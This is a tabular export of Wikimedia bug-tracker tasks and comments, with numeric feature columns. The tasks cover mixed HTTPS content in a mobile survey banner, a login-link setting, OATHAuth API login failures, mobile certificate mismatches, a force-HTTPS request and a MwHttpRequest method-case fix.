+https://meta.wikimedia.org/wiki/Help:CentralNotice#Images",,,1318015788,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+148142,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"These seem to be the offending banners:
+
+http://meta.wikimedia.org/w/index.php?title=Special:CentralNotice&method=listNoticeDetail&notice=Mobile+Readers+Survey
+
+http://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=2011MobileReaders_anon",,,1318015236,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+148138,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The offending image seems to be http://bits.wikimedia.org/skins-1.17/common/images/closewindow.png
+
+Here's the banner-loader output that triggers:
+
+
+insertBanner({""bannerName"":""2011MobileReaders"",""bannerHtml"":""<style type=\""text\/css\"">\n\n#centralNotice.collapsed #mobileSurvey2011 {\n  display: none;\n }\n\n#mobileSurvey2011 {\n  position: relative;\n  overflow: hidden;\n  margin-bottom: 0.5em !important;\n  background-color: #d7e4fa;\n  background-repeat: repeat-x;\n  border: solid 1px #a7d7f9; \n  display: none;\n}\n\n#mobileSurvey2011-content {\n  position:relative;\n  padding: 30px 80px;\n  text-align: center;\n}\n\n#mobileSurvey2011-logo {\n  position: absolute;\n  top: 20px;\n  left: 25px;\n  background-image: url(http:\/\/upload.wikimedia.org\/wikipedia\/commons\/thumb\/1\/12\/Wikimedia_logo_text_RGB.svg\/60px-Wikimedia_logo_text_RGB.svg.png);\n  height: 60px;\n  width: 60px;\n  background-repeat: no-repeat;\n}\n\n#mobileSurvey2011 #cn-toggle-box {\n  position: absolute;\n  z-index: 98;\n  top: 5px;\n  right: 5px;\n }\n<\/style>\n\n<div id=\""mobileSurvey2011\"">\n  <div id=\""mobileSurvey2011-logo\""> <\/div>\n  <div id=\""mobileSurvey2011-content\"">\n    <span style=\""font-size: 1.3em;\"">Please take the <a class=\""variable_lp\"" href=\""#\"">2011 Wikipedia Mobile Readers Survey<\/a>.<\/span><br \/>\n    <span style=\""font-style: italic; font-size: 0.9em;\"">Share your experiences and improve mobile Wikipedia.<\/span>\n  <\/div>\n  <div id=\""cn-toggle-box\"">\n    <a href=\""#\"" onclick=\""toggleNotice();$('#mobileSurvey2011').hide();return false;\""><img border=\""0\"" src=\""http:\/\/bits.wikimedia.org\/skins-1.17\/common\/images\/closewindow.png\"" alt=\""Close\"" \/><\/a>\n  <\/div>\n\n<\/div>\n<script type=\""text\/javascript\"">\n\/\/include throttle\nvar throttle = 5;\nvar throttleVal = Math.floor(Math.random() * throttle);\nif (throttleVal == 0 ) {\n  $('#mobileSurvey2011').show();\n  $('head').append('<link rel=\""stylesheet\"" href=\""http:\/\/wikimediafoundation.org\/tracker\/bannerImpression.php?req=css&surveyView=1 \"" type=\""text\/css\"" \/>');\n  var url = 'http:\/\/wikimedia.limequery.org\/52291\/lang-'+wgUserLanguage;\n  $(\""#mobileSurvey2011 a.variable_lp\"").attr(\""href\"",url);\n\n}\n<\/script>"",""campaign"":""Mobile Readers Survey"",""fundraising"":""0"",""landingPages"":""""});",,,1318015022,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+39211,Set $wgUseCombinedLoginLink = false,"Please set
+
+$wgUseCombinedLoginLink = false
+
+for all WMF projects per discussion on 
+http://lists.wikimedia.org/pipermail/wikitech-l/2012-May/060842.html
+
+I read no objections but strong acceptance.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1338365280,1338735017.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-s6frkbkb4u5ouxjccoje,task_description,resolved,True,c2,1,False,False,True,-65,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+179951,Set $wgUseCombinedLoginLink = false,With https://gerrit.wikimedia.org/r/#/c/10460/ the order was changed: in the top right corner is the login link now. This will be deployed soon with 1.20wmf5.,,,1339351669,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-64,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+179946,Set $wgUseCombinedLoginLink = false,"(In reply to comment #5)
+> This CSS makes it bigger: #pt-login { font-size: 1em !important; }
+
+The real issue is I always think the whole top-right corner is clickable for login, and the bigger signup link is always catching my click...",,,1339346063,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-64,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1
+179940,Set $wgUseCombinedLoginLink = false,This CSS makes it bigger: #pt-login { font-size: 1em !important; },,,1339342422,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,True,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1
+179935,Set $wgUseCombinedLoginLink = false,After this is set I'm a little dissatisfied. Before this there was a big login link to click but now there's only a small one.,,,1339329473,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-64,True,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+179930,Set $wgUseCombinedLoginLink = false,Done,,,1338735017,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,True,,,-65,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+179925,Set $wgUseCombinedLoginLink = false,"(In reply to comment #1)
+> Actually the general consensus appears to be we make this a MediaWiki change
+> rather than a site request.
+
+But there should be no problem, changing first the site configuration and when that works and is good, than it is still possible to change the default with a MediaWiki change.",,,1338407530,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-65,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+179919,Set $wgUseCombinedLoginLink = false,Actually the general consensus appears to be we make this a MediaWiki change rather than a site request.,,,1338367138,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+39031,OATHAuth breaks API login,"With OATHAuth enabled on a wiki (ie labsconsole), it is not possible to login via the API. It is rejected with a wrong password (tried with add-labs-user as below, and also AutoWikiBrowser)
+
+sumanah@formey:~$ sudo add-labs-user --wikiname=""Giovanni Luca Ciampaglia"" --mail=""glciampagl@gmail.com"" giovanni 
+Traceback (most recent call last):
+  File ""/usr/local/sbin/add-labs-user"", line 37, in <module>
+    main()
+  File ""/usr/local/sbin/add-labs-user"", line 34, in main
+    site.login(options.wikiname, passwd, domain=scriptconfig.domain)
+  File ""/usr/lib/pymodules/python2.6/mwclient/client.py"", line 341, in login
+    raise errors.LoginError(self, login['login'])
+mwclient.errors.LoginError: (<Site object '('https', 'labsconsole.wikimedia.org')/w/'>, {u'result': u'WrongPluginPass'})
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1337714880,1337725814.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-wykxla3khs6v7y2tqgox,task_description,declined,True,c2,1,True,False,True,-67,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1
+179171,OATHAuth breaks API login,Yes. She also likely runs it the most.,,,1337791129,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0
+179167,OATHAuth breaks API login,"(In reply to comment #4)
+> The error almost never occurs, and it's likely a timing issue of some variety.
+> In the long term we don't plan using the script anyway. It's a waste of time to
+> fix.
+
+So what you're saying is that Sumana is ""lucky""? ;)",,,1337762345,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,True,,,-66,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+179163,OATHAuth breaks API login,"The error almost never occurs, and it's likely a timing issue of some variety. In the long term we don't plan using the script anyway. It's a waste of time to fix.",,,1337752081,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-66,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+179158,OATHAuth breaks API login,"**sumanah** wrote:
+
+No, I hadn't tried running the script again.  Of course I think it would be optimal to fix it more robustly but that's in utopia. :-)  In the future I'll just try running the script again.",,,1337742724,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-66,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+179149,OATHAuth breaks API login,"Occasionally the add-labs-user script fails. This happened before OATHAuth. Did you try running that more than once?
+
+OATHAuth will only cause auth to fail if OAUTHAuth is enabled and verified for an account. Nothing in the authentication chain causes this to occur, you can only do so via the special page.
+
+In fact, I just ran that command again, and it went through fine. Whenever you get that error, simply try again.",,,1337725814,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-67,True,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+179139,OATHAuth breaks API login,"Though, your LDAP extension and its ChainAuth hook seem somewhat suspect..",,,1337715779,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,True,,,-67,True,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+39024,HTTPS Mobile version of non-wikipedia projects have bad certificates,"**Author:** `lambdav`
+
+**Description:**
+HTTPS Mobile version of non-wikipedia projects have bad certificates : the certificate is for *.wikipedia.org domain instead of project specific domain.
+
+See the below mobile version of non-wikipedia projects:
+* https://fr.m.wikibooks.org/wiki/Accueil
+* https://fr.m.wiktionary.org/wiki/Wiktionnaire:Page_d’accueil
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://fr.m.wikibooks.org/wiki/Accueil",Needs Triage,90.0,1337704860,1337704981.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lpobiyj2sphyw6c3fvpv,task_description,resolved,True,c2,1,False,False,True,-67,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+178783,HTTPS Mobile version of non-wikipedia projects have bad certificates,"
+
+*** This bug has been marked as a duplicate of bug 34788 ***",,,1337704981,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lpobiyj2sphyw6c3fvpv,task_subcomment,,True,c2,1,False,,,-67,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+38456,"Native ""force https"" option","**Author:** `tiger197`
+
+**Description:**
+Native option for automatic redirection from http to https.
+
+In other words, merge http://fs.fsinf.at/wiki/SecurePages extension into source code. Plus add relative options to preferences.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1335986520,1342801082.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-dqeqn7qcn3bqahgkpmfm,task_description,resolved,True,c2,1,False,False,True,-69,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+180142,"Native ""force https"" option","
+
+*** This bug has been marked as a duplicate of bug 29898 ***",,,1342801082,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dqeqn7qcn3bqahgkpmfm,task_subcomment,,True,c2,1,True,,,-58,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+180136,"Native ""force https"" option","**s** wrote:
+
++1
+
+Also, rIght now it’s possible to log in with HTTPS and then visit (say, from an external link) a Wikimedia page via http and be suddenly not logged in anymore. Change the URL back to https and, presto, you’re logged in again.
+
+It’s great that the authentication cookies are set to secure, but that should really come with a non-secure “hey-please-redirect-me-to-https” cookie.",,,1336019332,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dqeqn7qcn3bqahgkpmfm,task_subcomment,,True,c2,1,False,,,-69,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+38137,$this->method should be string case agnostic in MwHttpRequest classes,"Currently, when creating MwHttpRequest objects, the 'method' option/parameter must match case exactly. This seems unnecessary and caused me to bang my head against the wall for a while trying to figure out why my requests weren't POSTing.
+
+Replacing lines like
+} elseif ( $this->method == 'POST' ) {
+with
+} elseif ( strtoupper( $this->method ) == 'POST' ) {
+should do the trick and be more developer friendly.
+
+Fix forthcoming.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1334958120,1335018793.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_description,resolved,True,c2,1,False,False,True,-71,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+178265,$this->method should be string case agnostic in MwHttpRequest classes,Fixed in c5493,,,1335018793,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+178258,$this->method should be string case agnostic in MwHttpRequest classes,"Fixed in commit 1122ca5f8750a7e23e3f00ad7c03a19ef25f4c17 with Change-Id: Ic20e1b99dcb56b8a11cea50293ba44022e564de9 (https://gerrit.wikimedia.org/r/#change,5493)",,,1334960391,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+178249,$this->method should be string case agnostic in MwHttpRequest classes,"(In reply to comment #5)
+> The HTTP class seems to be a gatekeeper for MWHttpRequest. I don't know if
+> MWHttpRequest original intention was for it to be called directly or not, but
+> I'd do it through HTTP.
+
+I see what you mean - however the HTTP class doesn't let me control the cookieJar in MWHttpRequest. Basically, I've put together a very lightweight (currently) single-purpose MW Api client in a MW extension which can post to remote wikis, which means I need to be able to persist login information (hence my need for the cookieJar). I'll play around a bit with the HTTP class though and see what I can/can't do.
+
+Regardless, if the MWHttpRequest is looking for $this->method in all uppercase, it probably should ensure that values are getting set in all uppercase. Defensive programming ftw.",,,1334959349,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+178242,$this->method should be string case agnostic in MwHttpRequest classes,"The HTTP class seems to be a gatekeeper for MWHttpRequest. I don't know if MWHttpRequest original intention was for it to be called directly or not, but I'd do it through HTTP.",,,1334959033,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+178236,$this->method should be string case agnostic in MwHttpRequest classes,"(In reply to comment #3)
+> HTTP::request is doing a strtoupper on the method. Are you calling
+> MWHttpRequest::factory directly?
+
+Yes. Should I not be?",,,1334958797,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+178230,$this->method should be string case agnostic in MwHttpRequest classes,HTTP::request is doing a strtoupper on the method. Are you calling MWHttpRequest::factory directly?,,,1334958537,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+178224,$this->method should be string case agnostic in MwHttpRequest classes,"Alternatively, $this->method could benefit from a setter function that automatically strtoupper's the param",,,1334958334,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+178217,$this->method should be string case agnostic in MwHttpRequest classes,"Also, just for reference, there is precedence for this already in HttpFunctions.php:
+		if ( strtoupper( $this->method ) == ""HEAD"" ) {
+			$this->headersOnly = true;
+		}",,,1334958254,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+37096,Wikipedia/Wikitonary CA difference breaks HTTPS to Wiktionary in Android,"**Author:** `shealen.clare`
+
+**Description:**
+CA for en.m.wiktionary is different from CA for en.m.wikipedia, but mobile frontend servers using wikipedia's CA, breaking security.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**OS**: other",Needs Triage,90.0,1331322360,1331326730.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zvgxymu45xe3yxto3zkp,task_description,resolved,True,c2,1,False,False,True,-77,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+164449,Wikipedia/Wikitonary CA difference breaks HTTPS to Wiktionary in Android,"
+
+*** This bug has been marked as a duplicate of bug 34788 ***",,,1331326730,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-zvgxymu45xe3yxto3zkp,task_subcomment,,True,c2,1,True,,,-77,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+36722,"Site Login Problems Reset Password hi. i try to reset my password, for wicka media, but says cannot find StarTrekCafe but in the login system. can you send me a reset password.","**Author:** `startrekcafe`
+
+**Description:**
+Hi. i try to reset my password in wicamideia. but not liking my user name of StarTrekCafe. says that there is no user, but in the login system. i am a blind website design student and using jaws for windows. tried to use the mpa it program with the map of australia for the web html challenge, but says the image a .png is not decroded or decrypted. tried to upload as a svg, but i cannot login. can you help.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7
